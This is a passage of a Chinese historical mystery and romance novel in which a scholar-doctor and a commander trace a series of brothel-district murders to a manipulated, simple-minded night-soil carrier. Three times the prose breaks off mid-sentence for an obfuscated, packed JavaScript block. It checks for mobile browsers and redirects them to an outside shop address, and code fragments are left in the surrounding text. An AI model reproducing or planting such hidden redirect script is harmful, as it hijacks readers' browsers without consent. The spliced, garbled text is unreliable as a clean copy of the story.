“碎石块?”秦觅有一点意外,随即便想明白了,喃喃道,“用草绳是因为行凶者养成了‘习惯’。哪怕已经用别的方法把人杀了,还是会习惯性地补这一下。” 慕天知若有所思地看着他:“为什么你不会怀疑这是模仿作案?” 这秀才,确实对凶手的行为有着非常敏锐的预感,如果活在现世,不是犯罪心理学和行为学方面的高材生,就是潜在的犯罪者。 “模仿?”秦觅摇摇头,“这个节骨眼儿,附近人人风声鹤唳,谁家蠢人会这个时候出来模仿?万一栽赃不成,把之前的黑锅全背自己岂不是划不来?况且流传出去的凶手作案方式一个是勒死,一个是魄门塞物,如果是模仿的话,为什么不做足全套,而擅自改动?” 他目光灼灼地盯着慕天知:“只有能自圆其说的初创者,才知道该怎么改。” “没有等雨天动手,说明行凶者认为张四不需要用雨水‘清洁’;没在魄门塞物,但令其上半身暴露于外,口中塞满碎石,说明行凶者认为死者犯的是口业,也算是嘲讽的方式之一,本质上致人死地的手法没有变,应当是同一凶手所为,这应该就是大人口中所说的尸体摆放……逻辑。” 秦觅好奇地问:“大人口中所用的词汇甚为高深,我大概能猜出这词的意思,但还希望大人为在下详解。” 难得见他虚心求教,慕天知也不吝赐教:“意思是思维的规律性,每个人都有自己的行事逻辑。” 秦觅顿时明了:“原来是名辩学(注)。”垂眸眼珠一转,又问,“大人为何觉得这件事,印证了我所说的,幕后指使者要抛弃他用得趁手的这把刀?” “秦秀才显然觉得,孙昶是被陷害的,对吗?”慕天知喝完了自己面前剩下的大半碗粥,结束了进食,拿出汗巾来擦了擦嘴,“你觉得幕后指使者找到了替罪羊,接下来肯定要把刀扔掉,跟自己撇清关系。” “张四尸身的摆放方法虽然跟前两名死者在逻辑上存在着一致之处,但细究下来,完成手法略显粗糙,像是没有经过指使者的指点,行凶者只是机械重复‘嘲讽’和‘塞物’两招,有一点东施效颦的意思。” “上一次我们研究寒柯的死法,认为打他耳光的是指使者,而非行凶者,因为那位指使者并不惯用武力,不会动辄用如此暴力的表达方式,而这次张四在死前被暴打了一顿,应该是行凶者亲自动的手。” “所以现在看来,这次的张四之死,是行凶者独自行动下的一次拙劣复制,殴打也充满了复仇意味,没有大雨掩盖行迹,现场会暴露很多线索,乐观一些的话,我们应该很快能查到行凶者是谁,而这一切,是指使者故意把行凶者推出去的。” 秦觅比他吃得慢多了,到现在才吃完了一块炸糕,碗里的豆腐脑下去浅浅的一层表面,手中筷子夹着的小笼包刚咬了一口。 包子受了一点皮外伤。 他把嘴里的东西咽下去才说:“那就祝镇抚使大人早日将真凶抓捕归案。” “昨天戚鸾音在寒柯胃里找到了一块布片,又破又旧,表面涂了桐油,有防水的作用,味道很臭,我们推测是接触粪便用的手套,但很难确定使用者是谁,毕竟很多人都会接触到这个。”慕天知说着,率先注意到秦觅的眉头皱了起来,才意识到自己说了不合时宜的话题。 他看着那张皱巴巴的小脸,忍俊不禁道:“抱歉,我习惯了。不过秦秀才看尸体都不怕,还介意这个?” “两回事好吧?”秦觅胃里有那么一点点荡漾,把吃了一半的小笼包放到碗里,“然后呢?” 慕天知继续道:“今天张四的尸体被发现之后,我更倾向于,这次行凶者杀他,是出于私仇。” “哦?是吗?”秦觅脑子里飞快转着想法,突然间产生了一个怀疑。 慕天知看见他眼睛瞬间亮起,立刻问道:“你想到了什么?” “什么都没有。”秦觅垂眸,密实的睫毛挡住眼神,接着道,“看来此案很快就要结了。” “为何这么说?” 秦觅思考片刻:“据我推测,指使者本就有意栽赃孙老爷,知道孙老爷跟一个叫花子起了冲突,恰好那行凶者也与一个叫花子有私仇,他便教唆这位行凶者浑水摸鱼,趁机复仇。就算杀的人不是郑二,但都是叫花子,将来那行凶者落网,官府也会当他杀错了人,还是会把这笔账算在孙老爷头上。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427053|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不会太牵强了吗?在百姓眼里,北镇抚司就这么不中用?”慕天知冷淡地看着他。 “北镇抚司有更重要的事要操心,不是吗?比起审理朝中各位大臣,民间这样的凶案,抓到凶手不就行了吗?”秦觅笑得有点坏,语调揶揄,“反正行凶者没抓错。” 慕天知不错眼珠地盯着他:“那你说,为什么真正的指使者,不怕这位行凶者将自己供出来?他们两个究竟是什么样的关系,使得这位行凶者对他如此言听计从?” “我可是乱猜的啊。”秦觅故意强调了“猜”这个字,“要我说,这位行凶者,或许是个不识字的哑巴,无法指认别人,而那位指使者,可能平日里对他照拂有加,因此形成了这样稳固的关系。” 此言一出,慕天知并未接话,而是若有所思地看着他,厅内安静了半晌。 高高升起的阳光从敞开的门中照进来,正映在秦觅的身上,把秀才照得金灿灿的,看上去人畜无害,乖巧又可爱。 只是那看着自己的眼神,有一点促狭,还有一些捉摸不透。 慕天知见过的人太多了,真正天真无邪的和胸有城府的都不少,而秦觅,在此刻看起来合二为一,很能唬人。 “为什么这么看着我?”秦觅并没有回避他的目光,莞尔道,“难道镇抚使大人在给我相面?看出我运势如何了么?” 慕天知没接这话,而是问:“为什么会有这样的猜想?包括上一次在冰窖里,对真凶心理的揣测。” “‘心里’?是指想法吗?大人口中的新鲜词儿真不少。”秦觅随口道,很坦然地回应他的问题,“因为如果是我,动机差不多就会是这样。种种线索都能看出来,真凶应当是傲霜身边比较亲近的人,可越亲近,对他的期望就会越高,可当现实承受不了这个期望的时候,一切就会轰然倒塌。” “正常人可能就放弃了,毕竟人能管好自己就不错,可偏偏有的人总会觉得不能接受,想办法要惩罚他、审判他,可能这就是爱之深、责之切。” “至于笼络一个乖巧听话、没什么想法的人为自己作用,岂不是更容易理解?一切不过是为了满足他的掌控欲、同时保证他能及时脱身罢了。” “人或多或少都有一些掌控欲,不是吗?”秦觅似笑非笑地看着慕天知,漂亮的眼睛里闪过一抹调侃,“镇抚使大人也一样。” 在床上那样霸道。 慕天知的喉结上下一动,深深凝视着他:“秦秀才对于这些不正常的思维方式实在是洞若观火,如果当年没有放弃进学,而是得了一官半职,将来这大鑫朝堂上,势必会卷起一阵风暴。而今即便你只是一名游医,若想作奸犯科,恐怕也是易如反掌,至少蛊惑人心的本事令人不敢小觑。” 在现世,一直苦苦追缉的那个犯罪嫌疑人即是如此,三言两语便能让人甘心情愿为他所用,成为他手中的利刃。 慕天知实在不想看见秦觅也成为这样的人。 多智近妖,未必是好事。 秦觅没想到他会突然说出这样一番评价,怔了怔,哭笑不得道:“镇抚使大人不是文官,倒也拐弯抹角骂得如此难听。” “有些话或许算是交浅言深,但我衷心希望,你能做个好人。”慕天知眸色沉沉地看着他。 “这话说得有些晚了,小烽哥哥。”秦觅面色突然变了变,“我早就不是什么好人了。”说着向他伸出一只手,“这手上,沾满了鲜血,你信不信?” 慕天知看着那只修长白皙的书生手,摊开手掌从下方轻轻一托,又很快收回手去:“往者不可谏,来者犹可追,秦秀才,想来这话的意思你比我更懂。” 他站起身,将佩刀系回腰间:“或许你对官府没什么信任,但我既是北镇抚司的镇抚使,就可以对你承诺一句,这案子我一定查个水落石出,绝不会罔顾任何一个人的性命!” “是吗?那你可要快些了。”秦觅的心情一下子非常不好,脸色难看了许多,“杀人是有瘾的,那个真凶尝到了这种畅快的感觉,只会越来越停不了手,现在杀人间隔越来越短就是证明。哪怕他丢弃了现在的这把刀,也会找到新的刀,甚至自己亲自出手!” 慕天知静静地看了他一眼,大步走出门去。 16. 壹拾陆 北镇抚司里,负责跟着镇抚使大人调查这桩案子的都衍卫们可都忙疯了,窦乾窦坤还有梅淼三人各带了一路人马,各自去跟进手里的事。 尽管多一条人命陨落不是什么好事,但确实暴露出了更多的线索,想必会取得一些进展。 慕天知还有别的要务要忙,只能先顾其他。 比起跟朝中那些落入了诏狱的官员们斗智斗勇,其实他更愿意单纯地查案,可惜世间安得双全法,北镇抚司的权柄对他而言又至关重要,为了办案时不被任何人掣肘,他必须有所妥协。 直到日落时分,跑出去调查的属下纷纷回来,汇报各自的进展。 “禀大人,在孙昶家中发现一件他的衣袍,上有装饰的珍珠脱落,跟我们在傲霜房中捡到的极为相似。” “禀大人,已追查到跟死者张四起过纷争的人,人数不少,正在一一盘问昨夜去向。” “禀大人,属下盘问到,傲霜的部分钱财存在曜京的广祥钱庄,另有部分拿出去与两家店铺入股,参与分红,根据其中之一的刺绣铺老板梁夫人所说,不久前,他曾掏出一笔钱借给了庆平某乡某人修建祠堂,属下已经派人去庆平查探!” “大人!”另有一名校尉拿着个信封急匆匆地跑了进来,恭敬地双手奉上,“在傲霜遗物中,发现了他的亲笔书信,像是……绝笔书!” 遗书?慕天知神色一凛,立刻拿过来拆开翻看。 梅淼惊讶地问:“真的是绝笔书吗?可别现在告诉我,傲霜他是自杀的!” “他好端端的怎么可能自杀,这绝笔书一定是伪造的!”窦坤斩钉截铁地说。 慕天知将薄薄信笺重新折好,装回信封里:“不是绝笔,而是对他所有财产的应急安排,以备不时之需,看来傲霜倒是个思维缜密、行事谨慎的人,幸亏搜出了这封信,我们有了新的嫌疑人!” 一大早被讨厌的镇抚使吵醒,聊天也算不欢而散,秦觅一天心情都很差。 他努力调整了一番,没能调整过来,接着就有人过来请他去看诊。 连轴在几家人之间转了几圈,等全部看完,已经是夕阳西下,好处就是这一忙起来,烦恼自动消失,心情像是好了一点点。 至少帮到了人,还赚了一点诊金,找到了一点自己活在这世上的意义。 背着药箱,欣赏着辽阔壮丽的火烧云往家里走,经过一个路口,看到一个毛茸茸的身影从旁边的矮墙上一闪而过。 “虎威将军!”秦觅冲着狸花猫的背影喊道。 本以为猫咪会毫不留情地跑掉,谁知听见他的呼唤,它好奇地停了下来,转头用圆溜溜的眼睛打量他。 秦觅知道傲霜爱喂猫,但自己一次都没赶上,要不是上次看到陈茂喂那些猫咪,也不知道这狸猫有这样一个威武雄壮的名字。 方才那一喊并未经过思量,他还担心认错了,看见猫脖子上的铃铛,自顾自地笑了笑,看来自己眼力还成。 虎威将军仍旧站在比他高出一尺的墙头上,竖着尾巴居高临下地看着他,秦觅忍不住抬起手,试探地去摸它的脑袋:“你好呀!饿不饿?可惜今天我没带吃的。” 猫咪非常友善地伸头让他摸,但被摸了两下,没看到期望中的食物,就显得有些不耐烦,尾巴左右摇摆了一下。 秦觅怕被挠,连忙收回手,仰着头笑眯眯地说:“抱歉,下次我一定有所准备再叫住你。” 虎威将军像是听懂了,“喵”地叫了一声,接着像是发现了什么,敏锐地扭头看向一个方向,然后从墙头一跃而下,向那处跑去。 秦觅跟着看过去,就见前方街边墙角下,有个高高壮壮的身影蹲在地上,面前放了一个小碟子,应该是给猫咪准备的食物。 虎威将军径直冲过去,低头大快朵颐起来。 那壮汉轻柔地在它的毛脑袋上摸了摸。 胭脂巷里爱喂猫的人并不在少数,这没什么稀奇的,这人的轮廓也有些似曾相识,不过秦觅一时间没认出是谁,要说这天黑得也快,方才还有些落日余晖,转眼间余晖散尽,远处的景物就有些模糊了。 正当他想走近些看看的时候,身后传来了呼声——“秦大夫!” 转身一看,陈茂和宋喜一起跑到近前,两个人看起来神情颇为紧张,以陈茂为最甚。 “秦大夫,北镇抚司的都衍卫,把月临公子带走了!”他忧心忡忡地说。 秦觅脑子一下没转过来:“月临?为什么带他走?谁来的?” “是镇抚使大人身边的人,还有那名女长官,跟你一起来过的那个。”陈茂说。 那应该是梅淼,可能还有窦家兄弟。 “你别急,他们有没有说为什么带走他?”秦觅连忙问道。 陈茂摇摇头:“都衍卫什么都不跟我们说,月临公子都快要吓死了。” “都衍卫每天都来盘问,但从没带人走过。”宋喜小心翼翼地打听,“秦大夫,难道月临公子会是凶手?” “你胡说什么?!”陈茂恼火地推了他一把。 宋喜连忙道:“我就是瞎猜,不然北镇抚司抓他干什么。我也不信他是凶手,可他跟傲霜公子还有我们寒柯公子走得那么近,莫非有什么我们都不知道的事?” “秦大夫,你与镇抚使大人相熟,能不能帮忙去求求情?”陈茂哀声道,“月临公子身子弱,可受不了那些刑罚!” 秦觅也觉得有些奇怪,不知道那位少阎罗发什么疯,看面前两人这副揪心的样子,先安慰道:“你放心,我这就过去问问!” 他们胭脂巷在外城,北镇抚司在内城,走过去着实很远,好在没走多远就赶上了一辆在内外城穿梭的趟子车(注),他立刻交了钱跳上去。 车是马车,跑起来速度不慢,乘客都坐在后边的板车上,秦觅抱着药箱坐在一侧,双腿悬空晃荡,一路颠颠簸簸,不快不慢地进到了内城,始终没想明白为什么月临会被带走。 能严重到被带去北镇抚司,说明有杀人嫌疑,可他一个才十八岁、涉世未深的小倌儿,根本没有指使人的心眼子,怎么买凶杀人? 这比孙老爷还离谱! 难道找到了什么证据? 大概跟钱有关。 到了内城的停客站点,秦觅从车上跳下来,背着药箱快步往北镇抚司走,大热的天,等他赶到的时候后背都湿透了。 衙门附近肃穆非常,夜色更让此处显得高深莫测。高悬的牌匾下,站着六名在门内外把守的卫兵,他看着心里就有些打鼓。 自己只是区区一个秀才,恐怕人家不会让进,没准儿都不会给自己通报。 谁知他刚一露头,就被一名卫兵发现,那人主动向他走了过来:“是秦秀才吗?” 秦觅连忙作揖道:“正是在下。” “跟我进来,镇抚使大人正等你。” 慕天知当然算得出,自己把月临带回北镇抚司,这秀才肯定会跑过来,便如此吩咐了卫兵。 从办公邸的厅房大门望过去,看见背着药箱一路小跑跟在卫兵后面的秦觅,他开口第一句便是:“比我想象的来得要快。” 尽管秦觅并不怕他,还有心想质问他,但在人家下属面前,多少得给大人留些薄面。 于是他恭敬地拱手作揖:“多谢大人关心,在下赶了趟子车,方便一些。” “渴了就自己倒茶喝。”慕天知往一旁桌上一甩下巴。 秦觅不跟他客气,曜京那么大,一路从外城赶过来,是真的很渴。 他咕咚咕咚灌了几杯茶水,忙问道:“大人,月临不是凶手,为何要将他带来北镇抚司?” “他是不是现在不好说,但根据傲霜的一封信,他的确有杀人嫌疑。”慕天知拿出那封信放在桌上,“自己看。” 秦觅打开信纸,看到傲霜熟悉的字迹,突然有些眼眶发酸,看了信的内容,眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427054|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经在眼眶里打转了。 傲霜自幼被卖入烟花柳巷,从未得到父母疼爱,生活永远在惊吓中度过,直到他长大、被选做院首,再被孙老爷包下,人生才有了那么一点安稳的感觉,他更想要过好后半生,所以筹谋着赎身、赚钱,安排好一切。 但他也知道人生无常,或许意外就发生在下一刻,也许他与孙老爷情缘难续,也许自己赎身之事不会那么顺利,也许还会有其他事情发生,于是他写下了这样一封信,为自己安排了身后事,并指定了月临代为处置。 若他有什么三长两短,手里的半数钱财都将被捐给养济院,用以行善积德修来世;剩下的一半,再有四分之三留给月临,助他早日赎身;另四分之一,留给陈茂等其他照顾过他的龟公和护院,由他们自由支配,虽然这笔钱占比不多,但对这些人而言,已经足够赎身。 再余一点闲钱,便将他葬在山中,与天地作伴便好。 慕天知沉默着端详秦觅,看他眼圈泛红,很快有一滴眼泪从眼眶中掉了下来,好像一颗透明的琉璃珠,莫名想要伸手去接住。 “是不是傲霜的笔迹?”他低声问。 秦觅吸了吸鼻子,鼻音浓重地说:“你肯定找人问过了,早已确定的事,何必又问我一遍。” 这倒是真的,看了这封信之后,慕天知第一时间拿给了孙昶确认笔迹,认定是傲霜亲笔,这才去抓了月临。 “就因为月临是这封信的最大得益者,所以你才把他抓来是吗?”秦觅抬头问道。 他眼睛红红,鼻尖发红,因为赶路两颊泛红尚没有退却,现在整个人白里透红,看着有些可怜。 慕天知想掏出自己的汗巾给他,但又觉得此举不妥,还在犹疑中,就见秦秀才抬起袖子在脸上抹了一把,动作很是洒脱。 忍不住心里轻笑了一声。 “对。”慕天知点头,“这足以让他成为本案的最大嫌疑人,比孙昶的嫌疑更大。你本就怀疑幕后指使者是傲霜身边亲近之人,月临满足一切条件,他可以不被注意地接近两名死者,也最方便在他们的房间里放置证据栽赃孙昶。而他弱不禁风,看上去楚楚可怜,手无缚鸡之力,很难被怀疑。” “同为小倌,他很容易就因为两名死者明明能赎身却毫无行动而愤怒,继而杀人,符合你所揣摩的指使者心理。”他看着秦觅,“我说得不对吗?” 秦觅把信纸小心翼翼地叠好,放回信封里:“你这些推断,都建立在月临看过这封信的基础上,可你怎么笃定他看过呢?傲霜平素不与人结仇,又几乎不出门,发生意外而死的可能性很低,他留这封信的契机和想法很难定论,但我确定,写好之后他定会收藏起来,若非被人刻意翻找,绝对不会让人发现。如果藏得浅,顺天府的官差应该早就看到了,而不是直至今日才被都衍卫找出来,对不对?” “这封信的确藏得很深,夹在他放在书箱里的一本旧书里。”慕天知淡淡道,“月临的确不知有这封信的存在。” “那你应该知道月临是无辜的,为什么还要抓他?同为小倌,就算他生气傲霜明明可以赎身却不赎,也不会对他的尸体做那样的事!他更没有杀寒柯的理由!”秦觅红红的眼睛不错眼珠地看着他,似乎要从他那张表情欠奉的脸上刮下一层皮来。 他突然间火冒三丈,觉得眼前的男人真的讨厌,怎么能这般不分青红皂白! 傲霜和寒柯惨遭横死,月临才十八,本就胆子小,这几天吃不安稳、夜不能寐,把他抓进北镇抚司这种地方,怕不是要吓死他?! 秦觅想起那天自己在刑房接受审问的时候旁边传来的鬼哭狼嚎,不知道少年听后该会是什么感觉。 还有那些粗鄙的都衍卫,会不会对他动手动脚。 这帮人向来瞧不起小倌,还不知会说什么污言秽语羞辱他! 慕天知轻轻叹了口气:“秦秀才,如此关心则乱吗?你怎么会猜不到我的用意?” 17. 壹拾柒 用意? 这般荒唐草率,确实不是北镇抚司的办事风格,但此人还有什么别的用意? 闻言秦觅怔了怔:“你是……” “我没把他关进牢里,先把他安置在了一处厢房。”慕天知的声音陡然温柔了一些,“等你来就是知道他见了你就会没那么害怕,要去看他吗?” 秦觅明白过来:“你是要保护月临?” “保护谈不上,算是放个烟雾弹。现在看来,傲霜和寒柯的死,跟傲霜的钱财之间没有必然联系。但是既然真正的幕后主使是跟傲霜关系密切之人,那么他跟月临应当也很亲近,我想试一下,这么做,真凶会有什么反应。”慕天知看着他,神情诚恳,“你也知道,行凶者易抓,但指向这指使者的证据并不多,抓人定罪都需要实证,我得想办法推此人一把。” 明白了事情原委,秦觅火速消了气,内心稍赧。 跟慕天知春风一度那夜都没怎么觉得不好意思,想起方才在他面前掉眼泪还发脾气,反倒觉得别扭。 他垂眸眨了眨眼,又给自己倒了一杯茶,端起来轻啜,假装若无其事地问:“除此之外,还打算怎么做?” 这副故意遮掩的尴尬模样或许骗得过别人,但骗不过镇抚使雪亮的双眼,慕天知微微勾了勾唇角,道:“孙昶也是无辜的。现在可以确认,幕后指使者在傲霜的房间里丢下那枚珍珠,就是想栽赃他——暗卫刚刚查到,傲霜被杀那天,孙昶在几百里之外的客栈,掌柜和跑堂均能证明,他绝无可能连夜跑回来‘旁观’指使行凶者杀人。” “真凶若不有意栽赃,还不会暴露,可惜他聪明反被聪明误。我打算把孙昶放出去,看没了替罪羊,此人会有什么行动,会不会给我们送上更多的‘证据’。” 秦觅点了点头:“也是一种办法。”放下茶杯,站起身,“带我去见月临,我会好好安抚他。” 两人刚刚准备要走,就见梅淼一路小跑地进来:“大人!咦,秦秀才也在!” 大姑娘热得满头大汗,刘海都贴在了额头上,被她一把撸了上去,秦觅连忙拿过一个空茶杯,倒了茶水递上。 “证人盘查得如何?”慕天知问道。 梅淼一口喝干了水,把杯子递给秦觅,意思是还要,接着回答道:“张四这个叫花子惹的人可真不少,跟他有过矛盾的多了去了,一时间不好筛选,问到现在,没有什么农夫屠户,这样的力气汉子他也不敢惹,只会欺负一些手无缚鸡之力的人。” 她接过秦觅递过来的第二杯水,仰头一口闷了,又道:“近日来,据说天气太热,他没什么力气折腾,也怕大家火气都大,经不起闹,回头给他弄个好歹的他也受不住,所以还算安生,没人见过他跟谁起冲突。” “如果是旧怨,那可就不太好查了。”慕天知若有所思道,“可能那行凶者总受他的欺负,但一直忍气吞声,直到被指使者挑唆,再加上已经杀过两个人,血气上涨,这才敢出手。” 梅淼又喝了第三杯水,清了清嗓子:“那就奇怪啊,张四一个瘦得皮包骨的叫花子,怎么敢欺负一个身高五尺四到五尺六的大汉?那人个头高,又有力气,怎么会任人欺负?莫非我们对行凶者的推测有误?” 慕天知沉吟道:“或许是习得性无助。” 听到他又冒出了新鲜词儿,在旁边默默思索并且帮忙递水的秦觅好奇问道:“什么意思?” “一个人从小就被人欺负不敢反抗,等到他长大了,并没有意识到自己的力量已经足够能反抗,就会依旧逆来顺受。”慕天知向两人解释,随即总结道,“我们要找的应该是个社会地位非常低下的人,就连叫花子都敢欺负他。” 梅淼一脸为难:“妈呀,前朝蛮子把人分成十等,后几位是七匠八娼、九儒十丐,叫花子都是最后一等,张四还敢瞧不起谁?!难道是身有残疾?那也不对,有杀人的本事,那残疾也不会是影响力气的,张四肯定也不敢惹。” 突然间,秦觅脑中闪过此前陈茂说的话—— “……有时候还会对过路的女子说些难听话,还欺负一些流浪的小孩、老人还有傻子。” 傻子? 他突然想起了不久前喂猫的那个壮实的身影。 想起来此人是谁了! “小烽哥哥。”秦觅下意识地抓住慕天知的手腕,并没发觉到自己叫出了儿时的称呼,喃喃道,“我可能……猜到了谁是那个行凶者。” 慕天知反手握住他:“是谁?” “是一个倒夜香的,叫什么名字我一时想不起来,总之他、他天生愚钝,心性如同六七岁孩童,但身躯强壮如牛,个头差不多有五尺五寸左右。”不知道是因为激动,还是因为同情,秦觅声音有些发紧,喉结上下一晃,才继续道,“邻里都说他心地善良,只可惜命不好,得了这种病。” 梅淼急切地说:“傻子吗?那肯定是了!张四这种叫花子也就敢欺负这样的人!他还是倒夜香的,这不跟戚姐姐推断的那手套对上了?!” “倒夜香的人由于职业性质所致,惯于凌晨出动,鲜少引人注意,并且出入任何场所都十分合理,他或许就是借这个这个身份,才能够不被人觉察地进出东篱院和竹影阁!”慕天知对她下令道,“你现在就带人去找,就算不知道姓名,这样一个人也不难寻!” 梅淼立刻抱拳道:“属下遵命!” “你还知道什么?”梅淼走后,慕天知又问怔愣着的秦觅,感觉到对方的手突然变得冰凉,便一直没有松开。 他们两个说话的时候,秦觅一直在发呆,早上在镇抚使面前自己只是顺嘴一说,没想到现在居然又成了真事儿,想到那个可怜的人居然被真凶利用,心中一下子难以接受。 究竟是怎样的人,才会教唆一个心智都不够健全的人,去犯下这样的杀孽?! 实在可恶! 他艰难地吞了吞口水,压制住心头瞬间涌上来的情绪,缓声道:“他……哦对,他姓霍,叫霍平,现年不过二十岁,听说他自小心智不全,亏得爹娘照顾,平安长到了十四五岁,但后来父亲去世,母亲久病缠身,他便得靠自己的本事谋生,可惜他什么都做不了,只有一把子力气,但脑子不灵光,就算去做力工别人也不要,七拐八绕的总算找了个倒夜香的活儿。” “这活又脏又臭还被人嫌弃,没有人肯干,所以才让他干,对吧?”慕天知温声问。 秦觅点点头:“应当是这样。去年他母亲去世,他彻底成了孤儿。” 或许这样才容易被人摆布。 他缓过来了一些,意识到自己的手还被对方握着,感觉怪怪的,轻轻挣了一挣。 “你说他心地善良,何以见得?”慕天知顺势松开了他。 秦觅想起了那个喂猫的身影,轻轻叹息:“道听途说罢了,我没有和他打过交道,不敢笃定。” 慕天知见他面色难看,便没有再追问,而是接上刚才的话题:“去看月临吗?” “去。”秦觅深呼吸一口气,转身向外走去,但刚迈了一步,又转回头,“对了——” 没想到慕天知跟得紧,他这突然转身,正好就撞在了对方的怀里。 秦觅:“……” 方才被握过手,现下就有点像投怀送抱了。 慕天知也没想到他回来个“猛回头”,感觉把人撞得要往外飞,连忙抓了一把他的手臂,自己及时后退一步,看着秀才脸上那一瞬间的空白,忍俊不禁地笑了笑。 “什么事?”他好整以暇地问。 秦觅看出他在坏笑,决定不理,绷着脸问:“你们把霍平带回来需要多久?会连夜审讯吗?我能不能旁听?” 这个要求有些过分,就算慕天知拒绝他也不会意外,谁知对方不假思索地答应了:“可以。” 他惊讶道:“真的?” “秦秀才早就深度参与本案,现在很难再把你推出去。”慕天知勾唇道,“况且若是这位霍平因为恐惧而不敢开口,你这样深谙人性的人才,或许能助本官一臂之力。” 秦觅撇撇嘴,转身走出厅堂:“深谙人性?不觉得我容易走上邪路了?还是准备用我来以恶制恶?” “以恶制恶不至于。”慕天知缓步跟在他身后,“我会一直盯着你,不会让你胡来。” “哦?之前还不打算跟我有什么关系,现在又要盯着我,就为了让我做个好人?还是……另有所图?”秦觅偏头,促狭地看着他。 皎洁月光正好落在那双多情含笑的眼睛里,亮闪闪的,有点动人。 慕天知正色道:“本世子能图你什么?快走!” 秦觅跟着他在北镇抚司的后院里七拐八拐,走到一处偏僻的小院,远远看到房前廊下站岗的是两个女校尉,意外地看了他一眼。 “怎么?”慕天知垂眸觑他。 “想问你为什么会独树一帜地往北镇抚司招揽女子。”秦觅道,“原本听说你收的都是穷苦人家的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427055|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩,以为是为了帮扶这些苦命女子,现在我好像猜到了另一个原因。” 慕天知双手背在身后:“秦秀才有何高见?” “以往差役、都衍卫都是男子,这帮粗鄙之人——”话说出口才意识到不妥,秦觅连忙补充,“无意冒犯。” 慕天知面无表情:“无妨。” “这些人若遇上女囚总会免不了不规矩,更有甚者会调戏欺辱她们,而她们毫无反抗之力,大多会在受辱之后寻死。现下都衍卫里有了女子,至少这种不正之风便能得到遏制。”秦觅满怀期待地看他,“既能帮助苦命女子谋个差事,又能保护女囚的利益,大人这招妙计真是一举两得。” 像月临这样的小倌,处境与女子没什么不同,安排女校尉看守,显然对他很是尊重。 “多谢谬赞,秦秀才七窍玲珑心,本官佩服。”慕天知弯了弯眼睛。 从现世来到这封建王朝,确实有些事很难适应,可改变不了现状,能从自己做起,贡献一点微薄之力,也是好的。 就像他以前当警察,不可能消灭所有罪恶,那就能救几个救几个。 到得门口,慕天知对他道:“你去吧,等霍平被带回来,我差人来喊你。” “大人,虽然霍平是杀人凶手,但能不能别对他太过粗鲁?”秦觅道,“我怕他会惊慌失措,不但不会吐口,还有可能造成危险。” 慕天知点头:“放心,我懂。” 秦觅放了心,推开门进房,就看见月临站在门口,惊讶地看着自己。 “觅哥!真的是你!”少年登时扑过来拉住他的手,“方才我听到了你的声音,还以为听错了!你怎么会来?!” 秦觅温声道:“听到你被北镇抚司的都衍卫带走,我当然要过来看看,见你没事我就放心了。” 这房间不大,但有床有桌,桌上有水有点心,还被允许开着窗户,条件算相当好了。 “我没事!最初是吓了一跳,但那位镇抚使大人真好,问话的时候虽然严肃,但一点都不凶,还让我待在这里,安排了两个姐姐守着。先前以为自己要被关起来,想想牢里的跳蚤臭虫还有那些官差,我都要吓死了,现在这样倒是安心了许多。”月临看起来是没什么事,说话同平时一样快言快语。 秦觅点点头:“大人秉公执法,你没犯错,他自然不会罚你,把你安置在这里,是担心你也会出意外,等案件告破就会让你回去。” “是因为傲霜哥哥把他的钱留给我吗?”说起这个,月临黯然神伤,“这件事我真不知道。难道他的死是因为那些钱的事?可寒柯哥哥又是因为什么而死?如果有人嫉妒他把钱给了我,为什么不先来杀我?” 秦觅拉着他到桌边坐下:“你先别胡思乱想,本案凶手的动机错综复杂,未必是图财。我听大人说,傲霜把那封信收藏得极难找到,恐怕没人会知道他还有这样的安排。” “也对,信里他还说要我代他处理后事,但是连我都没知会,应该也不会跟别人说——好好的怎么会出意外,他肯定就是一时兴起写的。”月临深深叹息,“怎么能写这种东西呢,实在太不吉利了,要是我知道一定会让他烧了。” “未雨绸缪,倒也没什么错,至少现在我们知道他想如何安置自己,等事情了结之后,我们便去山里为他选一个合适的地方。”秦觅温声道。 月临“嗯”了一声:“希望能快些抓到真凶!”以手为刀比划了几下,咬牙切齿道,“把他千刀万剐!” 秦觅亲昵地摸了摸他的后脑勺:“对了,有件事我想跟你打听,你知不知道胭脂巷这片儿倒夜香的那个霍平?” “那个傻子吗?知道啊!”月临点头,“我记得他很喜欢猫,之前我偷偷出去溜达,几次都看见他在喂小猫。” “那你知道他跟谁关系不错吗?尤其是东篱院的。” 月临想了想:“这个不太清楚,他身上又脏又臭的,没人愿意同他来往,我也没和他说过话,他看起来太壮了,离近了我害怕。”说着说着陡然惊悚,压低声音问道,“难道凶手是他?他看起来很有力气!” 秦觅摇摇头:“这件事没有那么单纯,等水落石出再说,你不要跟任何人提起。” 